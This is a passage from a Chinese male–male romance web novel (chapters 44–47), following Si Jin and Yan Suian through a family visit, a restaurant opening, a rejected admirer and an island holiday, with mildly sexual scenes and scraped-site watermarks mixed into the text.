“我困了。”吃过水果,燕绥安终于找到机会,“我带司谨上楼午休一下,昨晚我们都没睡好。” “行,房间都让钟姨收拾过了。”封冉悦站起身,原本还想让他们今晚在这休息,但看着司谨听话坐在边上的样子,又不想给他那么多压力,便和燕尚一起送他们上去。 封冉悦很是热情,挽着司谨的手,上楼时也同他介绍了屋子里的构造。 “这里头是琴房和健身房,楼上还有个舞蹈室,是从前燕玥学过芭蕾,她爸爸特意在家里做的,等你们睡熟以后,妈妈带你去楼上转一转。”封冉悦习惯性说完,反应过来忙改口,“阿姨带你去楼上转转。” 司谨有点不好意思:“好,谢谢阿姨。” “小谨以后在京市生活,没空的时候可以多来家里转转,我和小玥的联系方式你都加上了吧?”燕尚问。 司谨忙点头:“加了的。” 燕尚笑笑:“那就行,以后有什么事也能随时跟我们说,小玥平时的活动比较丰富,她之后可能会邀请你去玩,如果不介意可以一起。” 司谨还是乖乖点头。 “这边是绥安的房间,小谨,我给你特意准备了一间,在……” 封冉悦的话还未说完,便被燕绥安打断了:“他和我一起就行。” 封冉悦:“……” 燕尚:“……” 司谨:“……” 好在封阿姨也没多说什么,送着他们到了房间便转身离开了。 司谨推门进了房间,还没来得及看清楚屋子里的装潢摆设,就被身后挤进门的人一把抱住。 “宝宝。” 燕绥安反手把门关上,手掌下意识往他后背摸了一把,果然触到微微热意。 “这么紧张?” 司谨被他抵在墙上,还是顶着那副听话的要命的表情点头。 他看见燕绥安没什么表情,又小声补充:“你家里人都挺好的。” “我好还是他们好?” “……”司谨简直觉得是自己听错了,“你不会这个都要比吧。” 燕绥安不置可否。 司谨没办法,有点好笑的叹口气:“你更好。” “这还差不多。” 燕公子总算满意,一把将他抱起来走进房间里,一把砸在床上。 床垫软硬适中,司谨身体埋进去,后脑勺被手掌裹住,这才没遭受太大的冲击,下意识揽住面前人的脖颈,他还没来得及开口,就被高大的身躯又压回了床榻上。 “今天表现也太乖了吧,宝宝。” 燕绥安的呼吸有些急促,一副憋了很久的架势。 司谨也不知道他是怎么了,但这会儿好不容易放松下来,倒是也没有想要抗拒的意思,索性揽着他的脖颈,主动探出了舌尖。 感受到他的动作,燕绥安身体微怔,动作一下变重了。 可怜的呜咽声从齿间溢出,司谨迷迷糊糊睁开眼,目光所及之处是陌生的房间,可是这里每一个地方都有着燕绥安的生活痕迹。 床头柜上的相框是燕绥安学生时期的照片,床头上悬挂着的是著名经典游戏的拼图。 “走神了。” 燕绥安低低提醒他,语气略有不满。 司谨的胸膛剧烈起伏,嘴唇的颜色艳丽,脸颊也是绯红的。 他微喘着气,面露困惑:“你不是要午睡吗?” “不想睡。”燕绥安俯身下来吻吻他的唇,“在楼下坐着也尴尬,还不如上来休息。” 司谨笑了,搭在他脖颈上的手松了,滑下来摸摸他的脸,指尖划过他立体的眉骨,又顺着高挺鼻梁落下。 “你的鼻子和脸型长得很像燕叔叔。” 燕绥安微挑眉头:“我和他谁帅?” 又是老问题。 司谨被他逗笑:“这要怎么比,你们是不一样的风格啊。” “那你说我们谁更招人喜欢?”燕绥安当然也只是瞎说,他就喜欢看司谨笑起来的样子。 漂亮的大眼睛微微弯起,漂亮嘴唇总是抿着,一挤就出来一个梨涡,小小的,乖的要命。 “嗯……”司谨还真认真想了想,最后还真给出了答案。 “燕叔叔是封阿姨喜欢的类型,你更招我喜欢。” 燕绥安眸色微深,凑下来同他呼吸交织,几乎是有点激动的:“宝宝,再说一遍。” 司谨:“我最喜欢你。” 他说这种话的时候还是那副认真乖巧的样子,没有半点敷衍,是那么轻易让人信服。 燕绥安长舒口气,放松身体紧紧抱住他。 “你是我的宝贝。” 听多了他说情话,可司谨却不觉得腻歪,每一次听见都觉得耳廓发酥,胸膛中的心脏砰砰作响,被牵动到过分迅速- 原本说只是上楼放松一下,可没多久两人却真不知不觉睡着了。 再醒过来已经是下午,燕绥安这些天忙工作的事情也很是困倦,司谨醒来便不打算吵他,想着封阿姨让他醒过来下楼,这会儿便准备出门。 只是等他掀开被子起身,身侧的手却被轻轻攥住。 “宝宝。”燕绥安的声音含糊不清,明显是还没睡醒。 司谨原本已经跪坐起来,这会儿听见声音又坐了回去,俯身凑近他:“怎么了?” “我妈如果问我的安排,你就说你会劝我回来。”燕绥安眼睛睁开一点,“知道了没有?” 司谨不禁犹豫,其实今天饭桌上封阿姨试探过许多次,他也听出来了,封阿姨很想知道燕绥安会不会考虑回京市来发展,但燕绥安始终装作没有领会到她的意思,原来就是得等着现在给他揽功劳。 这样是不是不太好? 心底正犹豫着,燕绥安却先一步猜到了他的想法,危险地眯起眼睛:“听我的,不准瞎说,记好了啊。” “知道了。” 司谨拿他没办法,只好先答应下来。 燕绥安见他点了头,这才侧过脑袋在他手腕内侧啄吻一下,然后松开放他走。 下了楼,封阿姨和燕玥正坐在客厅,两人正聊着什么,见着司谨下楼便笑了起来:“绥安还在休息?” “他最近比较忙,一直没怎么休息好。”司谨解释。 “他这阵忙完是不是又得回海城?”燕玥吃着零食抬起头,笑了笑,“我看你们感情不错,应该不准备刚恋爱就异地吧。” 她的试探很明显,加上封冉悦闻言也坐直了身体,司谨立马领会了意思。 在沙发上坐下,他略显紧张,纠结好半天才想出来措辞,说:“他过两天是要回去。” 他余光察觉到封阿姨的脸色又变得忧愁,便又道:“但是我不想异地恋。” 后面这话带着点儿心虚,于是出口莫名就显得很委屈,听着跟告状似的。 只是封冉悦和燕玥听了他这话非但没生气,还显得有些高兴。 “异地恋感情很容易出问题的,虽说海城到京市也不算特别远,但距离也是个问题,维系感情都不方便。”燕玥给他递过来一把瓜子仁。 封冉悦也紧跟着点了头。 司谨抿抿嘴唇,想到燕绥安的话,开口道:“我也想让他到京市来。” 此话一出,母女两人对视一眼,高兴之余还是有些忧愁。 她们一家子都希望燕绥安能回家,但每一回说起来都会惹得燕绥安不满,渐渐地便也不提了,这会儿听见司谨这么说,心底自然是欣喜的,但又担心燕绥安还是跟之前一样谁的话都不听,之后若是司谨主动去劝,可能还会影响两人的心情。 纠结好一阵,封冉悦还是委婉道:“小谨,那你还是好好说,绥安他逆反心理太重了。” 燕玥补充:“但他要是跟你发脾气,你来和姐姐说,这么大人要是还不成熟,我非训死他不可。” 司谨自己还心虚着,也不敢多说什么,只顺着她们的话答应下来。 这天吃过晚饭,在封阿姨的劝导下,两人也顺理成章在家里休息一夜。 司谨想到下午封阿姨那副仿佛看着他肩上落下重担的心疼眼神,心里头总不是滋味,等燕绥安洗过澡刚回来,他便翻个身钻进对方怀中。 “要说什么?”燕绥安见着他表情,就知道是有话要说。 司谨顺从靠在他手臂上,小声说:“你可不可以早点告诉封阿姨,说你会回来京市,她真的很担心你。” “好啊,聊一个小时就被策反了。”燕绥安眯起眼睛,修长手指屈起捏捏他的脸颊肉。 司谨不好意思:“反正不是早晚都要说吗?” 他都这么说了,燕绥安也没了办法。 “行吧,你都开口了,我还能怎么办。” 说着他当即就从床头摸了手机,直接编辑了一条消息,发到家庭小群中,眨眼的功夫,消息叮叮咚咚弹出来,他看也没看,调到静音丢在一边,伸手又抱住了司谨。 “但我妈知道这个消息,很大概率会让我们搬回来住。” 司谨有些迷糊:“这不太合适吧。” 他都没听过哪里是还在恋爱期就长住进别人家里的。 知道他的顾虑,燕绥安刻意使坏:“封女士喜欢你,自然不计较,就是不知道你怎么想。” 司谨不知道,但下意识就摇了头:“我觉得不好。” “为什么?”燕绥安明知故问,就想要一个自己喜欢的答案。 司谨眨眨眼,单纯又听话地说:“我想跟你有二人世界啊。” 要是家里有其他人,他就不能每天回到家里就投入燕绥安的怀抱,也没办法跟他在厨房里一起做饭,因为做着做着可能又会演变成某些过分的场面。 他的脸颊悄然泛起了红,虽然没有说出口,可燕绥安却是都懂了。 “啊,我们想的一样。” 他还想在更多地方肆无忌惮品尝自己的宝贝,不想被别人打扰。 第45章 和燕绥安预料的一样,在得知他也即将回到京市发展,一家人都高兴地不行,但封阿姨并未强求他们回家去住,这倒是让司谨松了口气。 虽然燕家人都很好说话,就连燕叔叔也只是表面上沉默寡言,实际上对他态度也是温和喜爱的,但正是因为这样,这一家人做的事说的话也才会更加让他感觉在意,现在没有了压力,他放松不少。 挑选合适的住处对于燕绥安而言并不算什么难题,他本身就在京市有好几处房产,趁着餐厅装修的功夫,他硬是带着司谨都转了一圈。 司谨从来没一次性看过这么多房子,最后还是选择了距离燕绥安新公司选址最近的一处。 “我要付房租。” 选好当天晚上,趁着燕绥安占了便宜心情正好,他立马说出了早就想好的话。 男人一听眼眸就眯了起来,肉眼可见的不高兴:“你是想内疚死我吗?” 司谨憋着笑,说:“可是什么都让你干了,我很过意不去啊。” “行。”燕绥安还没来得及生气,眼神就忽然变了,憋着坏开口,“是还没个合适的名分吧,要不咱们去领证?” 司谨微怔,在那一瞬间居然心脏猛跳,有些心动起来。 但很快,他就回到了现实:“我们领不了结婚证的。” 虽然说同性恋婚姻法条据说马上就要推行,但至少现在还没有落实。 燕绥安眸色暗淡一瞬,却没有气馁:“去国外领,能领的领个遍。” 他这话说的有些孩子气,但司谨只是错愕一瞬,便配合地笑了笑,答应道:“好啊,但是要等我的餐厅还有你的公司都运行顺利以后才有时间,正好我还没有出过国呢。” 燕绥安眼眸微垂,有些感动抱紧他。 “宝宝,等国内可以领证了,给我个名分吧。” 他躺下去,脸埋在青年柔软的小腹上,说话时气息温热,惹得人发痒。 司谨却没有推开他,而是认真摸摸他蓬松的发顶,低声说:“好。”- 虽然最开始因为面试的事情紧张了很久,但实际上到了面试的时候,司谨表现得倒也很专业。 燕绥安回海城处理了些事情,再回来时算着司谨正好在餐厅,便直接驱车前往。 底下已经装修完了,现在保洁正在清理,见着他有些疑惑,燕绥安倒也有耐心,随口问了句:“小司总在吗?” “在楼上面试。” 似乎看着他也不太像是来面试的,几人表情都有些困惑。 燕绥安只点点头,接着便快步上了楼。 这里的规模要比海城的一粟更大,他上了顶层,就看见走廊尽头的玻璃房映出里头的画面。 外面的会客区坐着两个等着面试的,屋子里的司谨穿着简单的衬衫休闲裤,鼻梁上架着一副细黑框眼镜,说话时表情认真随和,显得很有魅力。 燕绥安盯着看了一会儿,止不住觉得心痒,扫了眼他对面的人,等那人笑着起身,便猜测这人八成是过了。 那人起身以后,门边上一道身影才跟着出了门,是彭露。 她喊着另外两人进去,接着看见燕绥安来了,露出诧异表情,将人送进了办公室这才跑出来。 “燕先生,您要不先坐会?” 彭露到店里已经一周了,先前见过燕绥安和司谨一起说话的模样,知道他们的关系不太一般。 燕绥安微微颔首,却没有动,“面完这两个就完事了?” “对,人招的差不多了。” “行。”燕绥安扫了眼尽头的办公室,“我去里面等他。” 彭露微怔一下,想了想还是没有喊住他。 司谨和程佳的办公室是分开的,所以并不算大,燕绥安在里头转了一圈,靠在柔软的沙发椅上。 等了还没多久,外头就传来了开门声。 “这几天得让他们把尺码统计好,先把服装定好,明天楼下清理好就开始培训了,还要多麻烦你。” 彭露倒是高兴:“没问题,程姐明天会来店里,我多向她请教请教。” 司谨还想说什么,进了办公室看见靠在办公桌前的燕绥安,眼睛便微微亮了起来。 “先这样吧。” 彭露也还有其他事情要忙,便先一步出去了。 听见关门动静,燕绥安坐起身来,朝着他伸出手。 司谨介意地看了眼紧闭的门,还是大着胆子坐在了他腿上。 “这么紧张。” 触摸到他紧绷的后背,燕绥安笑了笑,凑过去吻吻他的嘴唇,“司总要好好培训员工啊,不然总是担心他们来推门。” 司谨扭头看向他,略显无奈:“你怎么这么快就回来了。” 他现在算是发现了,燕绥安每一回说需要几天的时间,实际上每一次都会提前解决回来,给他个好大的惊喜。 “归心似箭。” 燕绥安含糊回答完他,吻下来的时候手又不老实,扯开衬衣下摆一个劲往里面钻。 司谨颇为不满,手也落下去,隔着单薄的衣服摸住他结实而富有弹性的胸肌,不一会儿又滑落下去,指腹贴在块垒分明的腹肌上。 “学坏了。”燕绥安呼吸重了重。 司谨其实也不算放肆,做完这些事,他的脸颊也红了个彻底,肉眼可见的羞赧。 两人在办公室闹腾一阵,最后还是趁着天还没黑出门约会去了。 燕绥安的说法是,等餐厅开业以后司谨肯定又忙着工作的事情,无暇再去顾及他了。 半月过去,一切准备齐全,餐厅开业当天热闹非凡,燕阔峥领着夫人到场庆祝,裴落也从海城赶了回来,曾平安和陈军到店里时抓着司谨一阵嚎,满脸都是不敢相信。 “对了司谨,你知道过段时间同学聚会吗?就是咱们原先那一群熟悉的,说要出来聚聚。” 司谨忙得晕头转向,等他们吃过饭准备走了才终于有时间陪聊一会儿,听见这消息愣了愣,最终还是摇摇头。 “我就不去了,好多事情要忙。” 这段时间餐厅顾及都离不了人,他还有新书正在存稿期,顾及过段时间也要开始连载了。 知道他现在忙起来,两人也没有强求,反而是有些欣慰。 “也行,那回头我来假装探店。”曾平安悄咪咪将自己新涨的一万多粉丝展示给他,“我也算是小有名气吧,都是上次咱们一起出去玩那些视频爆了涨的。” 司谨自然是点头:“好啊,到时候给你上最高规格。” 将人送走,司谨舒口气,看了眼热闹排队的大门,心中还是有种不太真实的感觉。 从早忙完晚,燕绥安上午来送过一趟礼物便离开了,他还有自己的正式要做,说是晚上来接他下班。 等到天黑了,店内的客人依旧不见少,司谨穿着店长制服,在店外接待时不时便有人要来同他合影,他便也逐一照做。 好不容易有了喘息机会,他进去见着程姐,他正欲开口,便被一把揽住了肩膀。 “行啊司总,挺有牌面。” 司谨无奈笑笑。 “咱们的外送是过两天再开放吗?” “这架势也忙不过来啊。”程佳说着,在后头忙着指挥的彭露忽然凑了过来。 “两位老板请看。” 她将手机递了过来,司谨凑过去一看,发觉是江边的图片。 各大投屏上此时都挂着庆祝一粟开业,还标明了地址。 司谨只愣怔一下,就猜到这是燕尚送的礼物,心底有些温暖。 “难怪晚上人还更多了,好多人问我们什么时候开放外送呢。” 司谨看了眼热火朝天的大厅,和程姐对视了一眼。 “感觉要忙不过来了。” “……” 开业一个月左右,餐厅总算步入正轨,虽然还是很忙,但已经不需要司谨每天都盯着了。 新书漫长的存稿期结束,一经发出自来水无数,热度甚至隐隐有要改过前一本的趋势,这让司谨措手不及的同时,那种不真切的感觉也逐渐放大,使得他每天都飘飘然的。 燕绥安前些时间也忙得不行,这会儿闲下来察觉到他的情绪每天都过分亢奋,高兴之余又不免动了别的心思。 “宝宝,咱们去度假吧。” 他说出这话时,司谨刚被他折腾一顿,这会儿懒懒趴在他身上,连动手指的力气都没有。 闻言转了转脑袋,他有些疑惑:“现在吗?” 正是忙的时候,他根本就没想过在这种时候出去玩,怎么想都不太合适。 燕绥安摸摸他的头,低声道:“出去放松一下,这段时间神经这么紧绷,咱们去约会,好不好?” 司谨很疲惫了,此时在心中简单衡量了一下,居然也有些心动。 “去哪里?” 知道他肯定没想法,燕绥安也不多言,只道:“我带着你去就是了。” 司谨微微合上眼睛,答应下来:“好吧。” 燕绥安摸摸他的后背,将人圈进自己怀里,等他熟睡过后才偷偷拿出手机,点开小说软件里头关注作者的那一栏,找到某个头像是橙子的新书,默默把账户里的余额都变成了炸弹礼物投出去。 看着这本书的排名又上升了几万,他总算满足- 次日一早去了店里,司谨算着单子将新的货备下,正准备上楼去记录,就被人给叫住。 “小谨?”熟悉的嗓音温润,带着分明的震惊。 司谨微怔回头,却见是许久没有联系过的谢宇珩。 不过其实在海城喝醉的那天晚上以后,谢宇珩是联系过他的,只是他没有及时回复消息,久而久之便淡忘了这件事,此时见面还有些尴尬。 “你到京市来上班了?”谢宇珩皱着眉头过来。 司谨点了点头:“对,你来出差?” “对,听说这边口味不错,想在走之前尝尝味道。”谢宇珩看了一圈餐厅,“这里倒是比海城那家要更大,这里工作更辛苦吧?” 司谨这些天也的确是累坏了,这会儿点点头,还是提醒道:“你是来吃饭的吗?” “对,我看好像需要排位置。”谢宇珩说着看了眼还在等待的客人。 “不用排了,我请你吧。”司谨示意他上楼,“我带你去包间里坐。” 谢宇珩露出些许诧异神情,继而联想到什么,又恢复了淡定。 “好,那就麻烦你了。” 司谨亲自带着他上楼,新来的服务生进来点餐,谢宇珩却是看向司谨:“你有时间一起吃吗?” “我刚才吃过了。”司谨两小时前被燕绥安送来上班,下车前硬是被塞了两口燕少自制的三明治,这会儿一点也不饿。 谢宇珩略有失望:“那咱们聊聊?我下午的车就回海城了。” 这次司谨没有拒绝,直接在他对面坐下。 “好。” 不过多时上了菜,谢宇珩才试探道:“之前我给你发消息,你怎么都没回复?是太忙了吗?” 其实他还打过电话,是在下了班很晚的时候,但接电话的都是个陌生男人,和他之前在酒店外面见到的那人声线很像。 “是挺忙的。”司谨笑笑,“不好意思啊。” 谢宇珩垂下眸:“上次你那个男朋友,现在还谈着吗?” 司谨回神,点了头:“嗯。” 虽然那个时候他和燕绥安还没有在一起,但他没有必要和谢宇珩解释那么多。 “那真是可惜了。”谢宇珩露出一抹苦涩的笑。 可惜什么? 司谨没有明白他的意思。 谢宇珩重重叹了口气:“那时候我确实不知道你的心思,都怪我太迟钝了,如果早点察觉的话,也许我们现在……” 司谨越听越迷糊:“学长,你在说什么?” 谢宇珩以为他是不好意思了,笑着摇摇头,直言道:“你当初一直追着我跑的时候,如果能胆子大一些和我表白,也许我是会考虑和你在一起的,毕竟你也很不错。” “……” 司谨面露迷茫,好半天才明白过来他的意思。 “你好像误会了什么。” 谢宇珩面色一僵,后知后觉反应好像不太对。 “我当时对你只是感激,毕竟在入学的时候你帮助了我很多。”司谨耐心解释,“不是你想的那样,我只喜欢过我男朋友一个人。” 谢宇珩霎时间沉默了。 包间内陷入了死一般的寂静,他其实不太想相信,可是司谨的表情那样认真,看起来就不像是在说谎。 敢情他这么久以来,就是自己一个人在这瞎想。 司谨看见他表情不对,也没敢再说什么,借口有事起身先离开了。 谢宇珩足足在楼上坐了一个多小时才下来,司谨正好处理完事情准备回去,见着他来结账便笑了笑。 “学长,这顿我请你吧,谢谢你之前对我的照顾。” 他说完没等谢宇珩反应,便看向了前台。 “好的,司总。” 谢宇珩听见这称呼怔了怔:“这店是你开的?” 司谨诚实回答:“和别人合伙的。” 谢宇珩面色僵硬,点着头往外走,一出门却见不远处停了辆车,是他只在剪辑视频里头见过的超跑。 这回见面他算是发现了,司谨和从前变化太大,已经不是他能随便哄骗那样单纯了。 “学长,下次见。” 边上的司谨和他道了别,便快步朝着那方向过去。 谢宇珩尴尬笑了笑,看着那身影逐渐走远,拉开车门上去以后冲着车里的人露出开心自然的笑容,不难猜出里头的人是谁。 “……” 关上车门,司谨第一时间不是系安全带,而是习惯性凑过去亲了燕绥安一口。 轻啄一下退开,他伸手把安全带系上,这才问:“来得这么早?” 燕绥安瞥了眼窗外男人消失的背影,轻哼一声:“再来晚点,老婆都要给人拐走了。” 司谨听出他又在故意吃醋,只得将刚才的事情说了一遍。 “是吗?”燕绥安微微挑眉,倒是有些惊喜。 司谨两只手搭在膝盖上,乖乖点头:“我说的是实话啊,本来就喜欢你一个。” 燕绥安自己哄着他重复的,可这会儿看了眼外头的车流,听了这话又止不住心痒。 怎么就这么听话呢?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 45-50 第46章 燕绥安所说的度假地点,是燕叔叔在他成年那年给他买下的一座私人海岛。 刚抵达时司谨只觉新奇,他长这么大连海边都没去过几次,一玩起来便没个顾忌,他也是这时候才发觉燕绥安还擅长那么多项运动。 深潜和冲浪被带着学了个遍,他还不算熟练,每天回去以后累到没心思想更多事情,不知不觉间,那种在城市中紧绷的神经就放松下来,等到他再想起来餐厅和新书,却发现那些东西好像一瞬间距离自己很远了。 傍晚,燕绥安又跑去玩,司谨却没了力气,靠在沙滩椅上回复消息,周围海风阵阵,尽是沁人心脾的放松气息。 他拍了几张照片发给好奇的二姐,正回复着自己也不知道什么时候回去,忽然就感觉脖颈后面有点疼。 抬手摸了一下,他想到了什么,等看着燕绥安回来便同他说了。 “是不是晒伤了?” 他抱着膝盖坐在椅子上,顺从垂下脑袋让燕绥安看后颈皮肤,声音闷闷地。 “是有点红,回去上点药。”燕绥安揉了揉他的脑袋,“累不累?回去休息了。” “有点。” 司谨抬起头,正要去穿拖鞋,却被他轻轻松松揽着腰扛上了肩。 虽然这些天早就习惯了燕绥安肆无忌惮的动作,但他还是止不住惊呼一声,反应过来小声提醒:“鞋子。” 燕绥安俯身拎着,带着他回去。 回到家里,燕绥安给他找了药上好,司谨盯着镜子里的自己,忽然冒出一句:“你说我晒黑一点会不会更好看?” 后颈沾着冰凉药膏的棉签一顿,燕绥安果断道:“好看,但还是白皮好。” 司谨想笑,不自觉带了点认真:“我小时候就很黑,那时候漫山遍野乱跑,大夏天也不老实待在家里,好像都没有晒伤过。” “那也不行。”燕绥安将棉签丢了,凑过来不轻不重咬咬他还泛红的耳垂,“这样就很好。” 上完药把人牢牢抱住,他忽然回想起来什么,说:“你小时候也不怎么黑。” 司谨不由得感觉惊奇:“这么久了你还记得呢?” 他都想不起来自己小时候是个什么样子了。 “印象很深刻。”燕绥安微微抬起头,将身体放松靠在椅背上,若有所思,“也许是因为刚回到京市的那两年没能想起来,导致之后一直害怕自己忘了,记忆反而越来越清晰。” 说起来就连他自己都觉得不可思议,那样久的时间,也没能让他忘却分毫。 小小少年穿着朴素的衣服蹲在门外,只能从门缝里面露出一双又圆又亮的眼睛,是独属于孩子的单纯和质朴。 察觉到腰间的手逐渐收紧,司谨缓缓转过身,主动分开双腿坐在了他腰胯上。 “又难过了?” 燕绥安垂着眼睫,闻言笑了起来:“没那么夸张。” 司谨也不知道要说什么,思忖片刻说:“你之后还给我发过消息吗?” 他没有说的太明白,但是燕绥安却听出来他指的是访心。 自从他们见面的那天过去,司谨就将这个陪伴自己许久的软件删除了,直到现在也没有下载回来,不知道为什么现在忽然又升起了好奇心。 “猜猜?” 司谨露出一抹笑容,直接从边上摸了手机。 “我才不猜,我自己看。” 燕绥安起初不想阻止,可紧接着想起什么,又猛地起身,将人捞进了自己怀里。 司谨一脑袋栽下去,握住的手机也被抓走,一时间脑子发懵。 “干什么呀?” “好像有点尴尬。”燕绥安闷闷说了这么一句。 司谨歪过脑袋去看他,小声说:“你这么一说,我更感兴趣了。” “……” 侧腰被威胁性地揉了一把,司谨身体发软,像八爪鱼似的趴在他身上,红着脸又补充:“我想看。” 他声音软软的,这么一听起来跟撒娇差不多,倒是让燕绥安没了抵抗力。 “这有什么好看的。” “我觉得……” 不等司谨将话说完,燕绥安便道:“男朋友,要不要查查手机?” “啊?”司谨一怔,居然是没反应过来意思。 为什么要查手机? 下一秒,黑色的手机就被递到了他跟前,反射性拿住,耳边就传来燕绥安期待的声音:“你看看。” 司谨无奈,换了个姿势坐在他腿上,上滑后把手机放在燕绥安的面前解了锁,可下一秒就被告知了密码。 “记住没有?” “记住了。” 身后的人说话总是凑得很近,弄得司谨感觉耳廓上的热度始终无法消散。 偏过脑袋,他看着屏幕上的那些软件,一时间也不知道该做什么,索性点开了自己熟悉的微信。 置顶是他的聊天框,备注是谨宝。 他没说话,红着脸往下滑了一会儿,要么是客户朋友要么就是家人,没有多余的聊天内容。 并不打算点进去,他索性退出,左右滑动看见相册,犹豫两秒问:“可以看这个吗?” 最开始他还没觉得有什么意思,可这会儿却好像来了劲。 燕绥安低笑一声:“宝宝,都能看,都放你手上了。” 司谨抿抿嘴唇点开。 燕绥安的相册和软件分类都一目了然,按照工作和生活分隔开,他便只查看了生活的那一栏。 谁料一点进去,画面上就铺开了无数张熟悉的面孔。 熟睡时的、站在阳台上往下看的、在厨房切菜和偶尔的合拍,全都是他。 看见这些照片,司谨第一反应却是羞耻,脸颊红了个彻底,忍不住看向燕绥安。 “你怎么总是偷拍我?” “想你的时候可以看看。”燕绥安轻咳一声,往上滑了两下,“这不是还有我们的自拍吗?” 其实司谨是不太习惯拍照的,他面对镜头的时候或多或少都会不自然,那些照片里,他被燕绥安揽在怀里,看向镜头时总是带着笑,显得又乖又可爱,却没有那些偷拍的照片看起来随和。 看了一会儿,司谨也不得不承认。 “你的拍照技术挺好的。” 得到夸奖,燕绥安又忍不住贴着他的耳畔蹭了蹭。 往上滑动许久,里头也夹杂了一些燕家人的合照,司谨逐一看上去,正想说些什么,余光却扫到了边缘的几张照片。 “这是……” 看起来像是截图,他刚点开,就觉得莫名眼熟。 “宝宝,这个不用看。”燕绥安的声音略显心虚。 司谨皱紧眉头坐直身体,恍然明白过来什么:“这是海城屋子里面的监控?” 画面中,他正蹲在玄关整理快递,看样子是他刚收到“随便”发来的新衣服那天,画面上的他甚至都没露出多少脸。 燕绥安沉默两秒,“是。” “我从来都不知道那里还装了监控。” 司谨瞪圆眼睛,忽然间就明白过来,为什么他打算搬走的那天,燕绥安会这么快就跑回家里,原来是直接从监控里看见了他回去。 “本身就是废弃的。”燕绥安讨好似的抱住他,“你来了之后才重新开始用。” 这算什么解释。 司谨不满道:“你也没有和我说。” 说完,他的脸又止不住发起烫,他看着手机上的截屏,几乎都能想象到燕绥安做这件事时是个什么模样。 斟酌良久,他脸色不住凝重起来。 “家里不会有很多监控吧?” 燕绥安很喜欢他说“家里”时的表情,认真又严肃。 “没有,就大门一个。” 看他没有撒谎的意思,司谨才放松下来,退出了相册,准确无误找到了那个类似连接监控的软件。 点开,里头传出细微的声响,听着像是楼上在装修。 司谨脸色一僵:“还带声音啊?” 那他原先总是在客厅打电话,岂不是都被听了个全。 燕绥安忙道:“我不经常看的。” “真的吗?”司谨有点不敢相信他的话。 燕绥安啧一声:“宝宝,我像那种变态的人吗?” 司谨:“……” 他没有说话,小心翼翼瞥了燕绥安一眼,虽然没有回答,但眼中的情绪依然表达了一切。 燕绥安不禁感到受伤,却还是乖乖低头:“我错了。” 说完搂着怀里人,脑袋往他肩上埋了埋,又小声道:“不过你都在我身边了,以后也用不着偷看,那时候是觉得你不太喜欢我,所以不敢明着跟你说话。” 司谨被他这么一说,都要觉得是自己的记忆发生了错乱。 他控诉道:“明明是你最开始嫌弃我的。” 燕绥安自觉心虚,只得解释道:“原本觉得心里不舒服,每次偷偷去找你,你都一副冷淡疏离的样子,可是在网上对着陌生人都那么热情,搞得我心里特别不是滋味,之后才发现不是这么回事。” 司谨捕捉到了他的话语中的重点:“你什么时候还来找过我?” 此话一出,燕绥安沉默了。 司谨坐直身体,忽然联想到了什么,眼眶就止不住泛起酸涩来。 “我来海城读大学以后,你也经常来看我吗?” 燕绥安瞧见他眼底浮起的泪花,瞳孔紧缩,忙捧住他的脸:“别哭啊,就去过几次,你兼职的地方还挺热闹,我都经常排不上队。” 司谨大学时期的兼职很多,最常去的是一家甜品店,因为周边学校特别多,所以忙起来就没个消停。 在那里工作的时候,司谨时常什么都想不起来,见到的人都完全记不住面孔,所以对于燕绥安自然也没有太多的印象。 “不要哭,宝宝。” 燕绥安语气中盛满了心疼,低头吻了吻他湿润的眼睫。 司谨微微抬起头,难得主动贴住了他的嘴唇,动作间甚至带着些许急切。 第47章 其实司谨一直不是个很脆弱的人,他面对过很多的磨难和挫折,可是却很少有过打退堂鼓和害怕的时候。 只是在成长路上,他很少遇见能够被自己依靠的人。 小时候在他眼里,爷爷奶奶就是最厉害的人,带着小小的他走在山野田间,肩上总是扛着要比他沉好几倍的重物,可却依然健步如飞。 长大以后他逐渐没了依靠,也越来越少将自己的心里想法告诉别人,这样的生活不知道维持了多久,他已经逐渐习惯,可因为那个机缘巧合下注册的账号,他再次被激起了倾诉的欲望。 现在又让他知道,这个人其实很早之前就开始关注他,在他最难过的时光,始终有一束目光落在他的身上,那些不着痕迹向他伸出援手的人,也都是得到了这个人的授意。 “……” “宝宝。” 燕绥安的呼吸略显急促,他没见过司谨如此主动的模样,一时间居然感觉脑子放空,意识都不太真切。 掌下是柔韧的单薄细腰,司谨一直都很瘦,身上的肌肉线条虽然并不明显,但很流畅漂亮,这段时间在家里吃饭长了些肉,揉起来倒也不那么硌手了。 很快被反客为主,司谨的身体微微软化下来,离开时呼吸急促无比,脸上染着淡粉,唇色深了些许,看起来要比平时明艳夺目。 “好热,我要去洗澡。”他脸色不太自然。 燕绥安以为他又是不好意思了,虽然自己还有些难受,但还是缓缓吐出口气,妥协。 “去吧,我也洗漱一下,晚上去海边吃饭?特意让管家安排好了。” 司谨犹豫一瞬,迟疑着说:“晚一点吧。” “好,按你时间来。” 燕绥安也没多想,只以为他有工作上的事情要忙。 只是等他上楼洗漱完,正穿着条裤子在屋子里擦头发,身后的门被推开,进来的人脸色却要比去洗漱前更红。 “热着了?”燕绥安不禁皱眉,有些担忧,“水温别开太高,脸都蒸红了。” 司谨穿着简单的纯色T恤短裤,露出一截粉白的细长小腿,闻声朝他走过来,眼神有些飘忽。 他看了一眼窗外,问:“要去吃饭了吗?” “没那么早。” 燕绥安察觉到他的不对,正想要发问,却在人站在面前时不禁怔了怔。 司谨抬着一双水润的眼眸看向他,脸颊上染着绯红,眉心微微蹙着,好像正犹豫着要说什么难为情的话,小表情特别纠结。 “怎么了宝宝?”燕绥安有些担心,看着他这副模样,原本就没泄火的身体更是泛起一阵燥热。 就那么招人,自己也意识不到似的。 谁料他刚在心底抱怨这么一句,抚上司谨面颊的手就被抓住了。 司谨的手有点儿抖,犹豫很久才咬咬嘴唇,有点自责说:“我不知道有没有做好那个,你可不可以把那个视频再给我看一下?” 燕绥安难得愣住了:“哪个?” 司谨不好意思地移开目光,好半天才小声回答:“就是你之前给我看的那个视频,润|滑的那个,我刚才……” 话音还未落下,燕绥安的呼吸就随之停滞了。 他目瞪口呆地看着司谨,脑子一片空白,可是等反应了过来,心跳却是猛地加快了。 芋.ian 完蛋。 司谨将事情描述了一遍,见他没有说话,脸上的表情更是挂不住。 “要不……我们还是去吃饭吧。” 他没做过这种事,不知道这种程度够不够。 下一秒,燕绥安捉住了他的手,语气有些急:“吃什么吃?还早着呢。” 司谨被他吓了一跳,抬头就被他俯身罩住了,男人的眸色深黑,泛着幽幽微光,像是某种正等待进食的野兽。 “不用看视频,我帮宝宝检查。” 